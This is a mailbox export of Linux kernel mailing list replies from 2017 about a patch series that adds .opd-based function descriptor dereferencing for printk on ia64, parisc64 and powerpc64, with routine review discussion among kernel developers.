        Mon, 18 Sep 2017 19:08:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=CWHBB82xXR0vVyiB0vhLpyJ67HSLQGlo252sX0/9kVs=;
        b=T6pP2E/J+f0838Zk1hWI/37N5n0h0SRjZQh+YCwF4vIyOjYSWxlg3j0Tz36uj579Wa
         RD2DNCUKrW8W67s5SH9w/+tuN7C3Bp6bem5aZOv3Lmm/NL9Ei6zft73EFtEqX6vHpO4S
         3d2JU7sspzA1zYTym/ny4CKkbGy5aBn0zmX5+mgCJ3lzQYtAuXBPGGYKLzbSi9dW5XRR
         W4LDiMOtkz8uB4TaX6aztFISddp5+eIHHtXiqgvG3PB5WLGCNfnVnVaF60Qa/kysmAXW
         vQVbVrX+F0Ma0fNQUJu8eCUNzd24/hUxvOovdNuO2zHU9aqMtlIScd8QRibsfGS4aqBG
         +Asg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=CWHBB82xXR0vVyiB0vhLpyJ67HSLQGlo252sX0/9kVs=;
        b=CZuNR76kJYxbffSB7etEOUfD7LtZUMu8iu2ewA3BC6u8o1m8+gug2XsK2V8XPES6X/
         UsPeYLk/tKNqzEvhHVq7EKaAgXvV77qwK+6WeDw82VkhrOdefz1SZvTWgGuaYOPnDW0+
         E4SHxwZ5BJ1iLfr7k1ii3hcDT1Yjh0R1EKSIZloHBLXkzKW26FS0Woimhy7E6FqdtCTD
         APWwrb6H3h291fpdhSNYta7W0+UiyanslcE91CDeP4kL/Y1FxYYMTL/ht1PukqBRiWD6
         tQ3deJnltj0CCcOsjTbe8ZbooZ+PP4XmZ54FetiSP1oT6icB63t03KsCRSk3WCUxBb4i
         XdHA==
X-Gm-Message-State: AHPjjUj322fBc6dnwWy8P1CX38HIJg36lO+0UI8woZpcidWXw6RA4wN4
        KzOT4tNruid6ow==
X-Google-Smtp-Source: AOwi7QAPCrbk3yKZ/kPvrjmu4k3YW4Bo5C5y6E2l9z4RxDP1viZQKJyA0qeJt7crOx3TtRM5K2xryQ==
X-Received: by 10.84.129.103 with SMTP id 94mr521626plb.151.1505786897062;
        Mon, 18 Sep 2017 19:08:17 -0700 (PDT)
Original-Received: from localhost ([39.7.53.230])
        by smtp.gmail.com with ESMTPSA id p12sm678240pgn.90.2017.09.18.19.08.15
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 18 Sep 2017 19:08:15 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20170918174432.4fksyzco2g6gczwe@intel.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27824 gmane.linux.ports.ia64:28118 gmane.linux.ports.ppc64.devel:148027 gmane.linux.kernel:2572771
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27824>

On (09/18/17 10:44), Luck, Tony wrote:
[..]
> 
> A few new warnings when building on ia64:
> 
> arch/ia64/kernel/module.c:931: warning: passing argument 1 of 'dereference_function_descriptor' makes pointer from integer without a cast
> arch/ia64/kernel/module.c:931: warning: return makes integer from pointer without a cast
> kernel/kallsyms.c:325: warning: assignment makes integer from pointer without a cast
> kernel/kallsyms.c:325: warning: passing argument 1 of 'dereference_kernel_function_descriptor' makes pointer from integer without a cast

got it, will address in v2.

[..]
> Which looks like what you wanted. People unaware of the vagaries
> of ppc64/ia64/parisc64 can use the wrong %p[SF] variant, but still
> get the right output.

thanks!

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 3/5] powerpc64: Add .opd based function descriptor dereference
Date: Tue, 19 Sep 2017 20:22:37 +1000
Lines: 32
Approved: news@gmane.org
Message-ID: <87shfjkmxe.fsf@concordia.ellerman.id.au>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com> <20170916035347.19705-4-sergey.senozhatsky@gmail.com> <20170916094345.d332z3odceqiyrll@naverao1-tp.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1505816561 21737 195.159.176.226 (19 Sep 2017 10:22:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 19 Sep 2017 10:22:41 +0000 (UTC)
User-Agent: Notmuch/0.21 (https://notmuchmail.org)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        Alexei Starovoitov <ast@kernel.org>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, Jessica Yu <jeyu@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, Nicholas Piggin <npiggin@gmail.com>
To: "Naveen N. Rao" <naveen.n.rao@linux.vnet.ibm.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Sep 19 12:22:35 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1duFfm-0002V1-Ad
	for glpi-linux-ia64-2@m.gmane.org; Tue, 19 Sep 2017 12:22:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751301AbdISKWl (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Tue, 19 Sep 2017 06:22:41 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:52135 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750948AbdISKWk (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Tue, 19 Sep 2017 06:22:40 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3xxJpk21Hhz9s7h;
        Tue, 19 Sep 2017 20:22:38 +1000 (AEST)
In-Reply-To: <20170916094345.d332z3odceqiyrll@naverao1-tp.localdomain>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28119 gmane.linux.ports.parisc:27825 gmane.linux.kernel:2572988 gmane.linux.ports.ppc64.devel:148043
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28119>

"Naveen N. Rao" <naveen.n.rao@linux.vnet.ibm.com> writes:

> On 2017/09/16 12:53PM, Sergey Senozhatsky wrote:
>> We are moving towards separate kernel and module function descriptor
>> dereference callbacks. This patch enables it for powerpc64.
>> 
>> For pointers that belong to the kernel
>> -  Added __start_opd and __end_opd pointers, to track the kernel
>>    .opd section address range;
>> 
>> -  Added dereference_kernel_function_descriptor(). Now we
>>    will dereference only function pointers that are within
>>    [__start_opd, __end_opd];
>> 
>> For pointers that belong to a module
>> -  Added dereference_module_function_descriptor() to handle module
>>    function descriptor dereference. Now we will dereference only
>>    pointers that are within [module->opd.start, module->opd.end].
>
> Would it be simpler to just use kernel_text_address() and dereference 
> everything else? See commit 83e840c770f2c5 ("powerpc64/elfv1: Only 
> dereference function descriptor for non-text symbols") for a related 
> patch.

Yeah that would be a lot simpler and probably work perfectly well.

cheers
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 3/5] powerpc64: Add .opd based function descriptor
 dereference
Date: Tue, 19 Sep 2017 19:31:54 +0900
Lines: 43
Approved: news@gmane.org
Message-ID: <20170919103154.GC401@jagdpanzerIV.localdomain>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
 <20170916035347.19705-4-sergey.senozhatsky@gmail.com>
 <20170916094345.d332z3odceqiyrll@naverao1-tp.localdomain>
 <87shfjkmxe.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505817124 17707 195.159.176.226 (19 Sep 2017 10:32:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 19 Sep 2017 10:32:04 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
Cc: "Naveen N. Rao" <naveen.n.rao@linux.vnet.ibm.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        Alexei Starovoitov <ast@kernel.org>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, Jessica Yu <jeyu@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, Nicholas Piggin <npiggin@gmail.com>
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 19 12:31:58 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1duFoq-00047f-Nd
	for glk-linux-kernel-3@m.gmane.org; Tue, 19 Sep 2017 12:31:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751450AbdISKcC (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 19 Sep 2017 06:32:02 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:38720 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751205AbdISKb7 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 19 Sep 2017 06:31:59 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id m30so1815919pgn.5;
        Tue, 19 Sep 2017 03:31:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=tp0GmYmsJK9TK+CwSFIGGwunOwGEF2n8/CnVALxgAiQ=;
        b=oEq9HO7CJ+rIa7nPCybURM6xvBx26m9UBMez3KZXIJLrqG1od76dOQ51TRGqNiKxDb
         6Y9C+r10XV2SwJGWRObY8KpkZPzoYL/LPJvHQjhI+CnHwV4l1hHjy+ljVu5tI0DDSXWB
         UEdN4glVh9jSA/sHRz7te24glbm8CJ1uQ1DZdBXiJryfL38pp165B06mz1+cS8KRmiZZ
         fLSiNZhXy+bO67av4URZVyuX24ZsUvTM320an60Sg7HS5Zh9Ue/4PaCC+yGCaLQQmveQ
         6GkN7Qr1LsIpn8KaSwBY20/dHdn/WLZT5LhHnpxIx8IVVYypfHcc4sJpEYg1RpyLKldK
         3GCw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=tp0GmYmsJK9TK+CwSFIGGwunOwGEF2n8/CnVALxgAiQ=;
        b=Y6DHRBufEFbJ1JQV9b0eoahtUr5aX4uBpMI+5s2agY5gBSbrWtJhKcbxcsNo6eG8hW
         Tng/ah9EzlNdMq67mPZw9oXnhhXg/G/aoCeHQ+JkKudIl/I2bgUr3iUfQwbdk+AbVWJH
         0etOsJW8bpq48IFt9ZKVp1Z5RCydiE354bXOkYcekoa3BQX03DrRhX8WRxVx6TYajz0y
         8JvECry2a1fdILxYBPjKmS/iDlwD9lTPhteQAXs3m+mdd7GxvRs+d2d9Sl1tAOH3Y/Gt
         Aqe2HGCtzGHPGddeY4ytH4ZC+0LjKC9L2GOA57lRPyKCcIn/fXQI9geYlpJTLaIbKpwE
         CDJw==
X-Gm-Message-State: AHPjjUgRk40HGzrK32gD0EPqvYM9kmWz8mOdBdHEp4GbUyl5JTB9LORP
        hdHxi7r6f8GZDUDpMcSJT+I=
X-Google-Smtp-Source: AOwi7QCvU8ljG/oXn6/SGsNXHWl6xnUiDN+nZoOuFhPHKqL4rLIKqnuRMx3eN5yGvaqmhdVdTvlXJQ==
X-Received: by 10.101.85.70 with SMTP id t6mr858360pgr.255.1505817119198;
        Tue, 19 Sep 2017 03:31:59 -0700 (PDT)
Original-Received: from localhost ([39.7.53.230])
        by smtp.gmail.com with ESMTPSA id v8sm2325663pgs.9.2017.09.19.03.31.57
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 19 Sep 2017 03:31:57 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <87shfjkmxe.fsf@concordia.ellerman.id.au>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2572993 gmane.linux.ports.ia64:28120 gmane.linux.ports.parisc:27826 gmane.linux.ports.ppc64.devel:148044
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2572993>

On (09/19/17 20:22), Michael Ellerman wrote:
> > On 2017/09/16 12:53PM, Sergey Senozhatsky wrote:
> >> We are moving towards separate kernel and module function descriptor
> >> dereference callbacks. This patch enables it for powerpc64.
> >> 
> >> For pointers that belong to the kernel
> >> -  Added __start_opd and __end_opd pointers, to track the kernel
> >>    .opd section address range;
> >> 
> >> -  Added dereference_kernel_function_descriptor(). Now we
> >>    will dereference only function pointers that are within
> >>    [__start_opd, __end_opd];
> >> 
> >> For pointers that belong to a module
> >> -  Added dereference_module_function_descriptor() to handle module
> >>    function descriptor dereference. Now we will dereference only
> >>    pointers that are within [module->opd.start, module->opd.end].
> >
> > Would it be simpler to just use kernel_text_address() and dereference 
> > everything else? See commit 83e840c770f2c5 ("powerpc64/elfv1: Only 
> > dereference function descriptor for non-text symbols") for a related 
> > patch.
> 
> Yeah that would be a lot simpler and probably work perfectly well.

unlike ppc_function_entry(), printk() can get called on any symbol,
not just function pointers.

for example,

cat /proc/kallsyms | grep shrinker_rwsem
ffffffff81a4b1e0 d shrinker_rwsem

or

cat /proc/kallsyms | grep vm_total_pages
ffffffff81dcd418 B vm_total_pages


and so on.

	-ss


From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 3/5] powerpc64: Add .opd based function descriptor dereference
Date: Wed, 20 Sep 2017 11:51:49 +1000
Lines: 44
Approved: news@gmane.org
Message-ID: <878tha9lxm.fsf@concordia.ellerman.id.au>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com> <20170916035347.19705-4-sergey.senozhatsky@gmail.com> <20170916094345.d332z3odceqiyrll@naverao1-tp.localdomain> <87shfjkmxe.fsf@concordia.ellerman.id.au> <20170919103154.GC401@jagdpanzerIV.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1505872314 1694 195.159.176.226 (20 Sep 2017 01:51:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 01:51:54 +0000 (UTC)
User-Agent: Notmuch/0.21 (https://notmuchmail.org)
Cc: "Naveen N. Rao" <naveen.n.rao@linux.vnet.ibm.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        Alexei Starovoitov <ast@kernel.org>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, Jessica Yu <jeyu@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, Nicholas Piggin <npiggin@gmail.com>
To: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 20 03:51:48 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1duUB1-0007zM-Qo
	for glpp-linux-parisc@m.gmane.org; Wed, 20 Sep 2017 03:51:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751377AbdITBvz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 19 Sep 2017 21:51:55 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:60831 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751284AbdITBvy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 19 Sep 2017 21:51:54 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3xxjQw636Pz9sPt;
        Wed, 20 Sep 2017 11:51:52 +1000 (AEST)
In-Reply-To: <20170919103154.GC401@jagdpanzerIV.localdomain>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27827 gmane.linux.ports.ia64:28126 gmane.linux.kernel:2573656 gmane.linux.ports.ppc64.devel:148072
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27827>

Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com> writes:

> On (09/19/17 20:22), Michael Ellerman wrote:
>> > On 2017/09/16 12:53PM, Sergey Senozhatsky wrote:
>> >> We are moving towards separate kernel and module function descriptor
>> >> dereference callbacks. This patch enables it for powerpc64.
>> >> 
>> >> For pointers that belong to the kernel
>> >> -  Added __start_opd and __end_opd pointers, to track the kernel
>> >>    .opd section address range;
>> >> 
>> >> -  Added dereference_kernel_function_descriptor(). Now we
>> >>    will dereference only function pointers that are within
>> >>    [__start_opd, __end_opd];
>> >> 
>> >> For pointers that belong to a module
>> >> -  Added dereference_module_function_descriptor() to handle module
>> >>    function descriptor dereference. Now we will dereference only
>> >>    pointers that are within [module->opd.start, module->opd.end].
>> >
>> > Would it be simpler to just use kernel_text_address() and dereference 
>> > everything else? See commit 83e840c770f2c5 ("powerpc64/elfv1: Only 
>> > dereference function descriptor for non-text symbols") for a related 
>> > patch.
>> 
>> Yeah that would be a lot simpler and probably work perfectly well.
>
> unlike ppc_function_entry(), printk() can get called on any symbol,
> not just function pointers.
>
> for example,
>
> cat /proc/kallsyms | grep shrinker_rwsem
> ffffffff81a4b1e0 d shrinker_rwsem

Yep, good point. So your patch is probably good then. Maybe someone
other than me can find time to test it ;)

cheers
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 3/5] powerpc64: Add .opd based function descriptor
 dereference
Date: Wed, 20 Sep 2017 15:10:26 +0900
Lines: 23
Approved: news@gmane.org
Message-ID: <20170920061026.GB6298@jagdpanzerIV.localdomain>
References: <20170916035347.19705-1-sergey.senozhatsky@gmail.com>
 <20170916035347.19705-4-sergey.senozhatsky@gmail.com>
 <20170916094345.d332z3odceqiyrll@naverao1-tp.localdomain>
 <87shfjkmxe.fsf@concordia.ellerman.id.au>
 <20170919103154.GC401@jagdpanzerIV.localdomain>
 <878tha9lxm.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505887842 5908 195.159.176.226 (20 Sep 2017 06:10:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 06:10:42 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
Cc: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>,
        "Naveen N. Rao" <naveen.n.rao@linux.vnet.ibm.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        Alexei Starovoitov <ast@kernel.org>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-kernel@vger.kernel.org, Jessica Yu <jeyu@kernel.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, Nicholas Piggin <npiggin@gmail.com>
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 20 08:10:32 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1duYDQ-0007n3-3a
	for glpp-linux-parisc@m.gmane.org; Wed, 20 Sep 2017 08:10:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751588AbdITGKe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 20 Sep 2017 02:10:34 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:36181 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751547AbdITGKd (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 20 Sep 2017 02:10:33 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id d8so1116627pgt.3;
        Tue, 19 Sep 2017 23:10:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=DzAkrWoXEH+3GwlLaOfP+81ZM/seZgN+dkRk8UEwi28=;
        b=MdOO9re7uCWu5rDT5caOCHY3lSfgzeCre+bbzib4isiF/3i6qEJQujlnXCzWxo9Oiv
         0S2I5/mywHn6alsmmA8xfGstPtMtEQzcFI08BsHGo25aQwQ4eFruuFzq3RjA9dhyNnWk
         7PDZYe4OT9iVJq1PNxB0ALDhuWaTpT4uanJogYX2k92ocqrI+q5xHmSYD/7JLZnjmhO2
         xkAPNRiy0iQh8CgQxp8mcSpu0t80UEMOmpclbFnUx4jz4AxeAkprefb5ERQFkk5ChByR
         ozthnHfhNw+zyC7pZykHeLITy1t6z2LjlDFmyQ+PaMqqie3yNtgqhAN2MrQP3UQfsCQ1
         z5DA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=DzAkrWoXEH+3GwlLaOfP+81ZM/seZgN+dkRk8UEwi28=;
        b=KzHv5Hhb3GUB1naE8EPPcFpR5ZgzRcVsUM1pQByIdu++nxMfsfYMvXYpP0JSWcw/A5
         ksWq8lnjU2K0xLY0bTj1Ahnnqn8gb9yCnDtRikbayGvUYckVlVkVlFVOWgSEgzDFQF+i
         tum3jGbsEYrGtSES2xZ5966dLagSue01R9Z+LdLETP1JE+cDhXb6EYS0IlJ/odHnvaRF
         itxt6ZY7OVut5cvmfMXQ/Qs78uanfIx1lzlg7oTqWv6MjOqrBf4NOFlAfjBDhjtThFMB
         ssmcYjB32mGM+0DQIA9+Cx0k90N9eXFqw01d2rxikeb+xI7bj1KJDcqPLFb2DaCv5vvR
         DK3Q==
X-Gm-Message-State: AHPjjUjUqGpDtQwvymGplnWH3BrWeb/24K0f9VLbaEQu3+0jG3pc37mt
        qlie6bEnSABJFqryEq/eQ3E=
X-Google-Smtp-Source: AOwi7QAUk4Uk55FU9KWY5dadnsTsEUGK1PVIALrTFm5Goa5kHDgS3GA9Xc7mdiNCnapHxAa/UvmDYA==
X-Received: by 10.84.240.4 with SMTP id y4mr1034348plk.22.1505887832766;
        Tue, 19 Sep 2017 23:10:32 -0700 (PDT)
Original-Received: from localhost ([110.70.59.92])
        by smtp.gmail.com with ESMTPSA id d69sm6370870pfl.50.2017.09.19.23.10.30
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 19 Sep 2017 23:10:30 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <878tha9lxm.fsf@concordia.ellerman.id.au>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27828 gmane.linux.ports.ia64:28127 gmane.linux.kernel:2573810 gmane.linux.ports.ppc64.devel:148080
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27828>

On (09/20/17 11:51), Michael Ellerman wrote:
[..]
> > unlike ppc_function_entry(), printk() can get called on any symbol,
> > not just function pointers.
> >
> > for example,
> >
> > cat /proc/kallsyms | grep shrinker_rwsem
> > ffffffff81a4b1e0 d shrinker_rwsem
> 
> Yep, good point. So your patch is probably good then. Maybe someone
> other than me can find time to test it ;)

Hi,

I'll re-spin the series today/tomorrow.

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
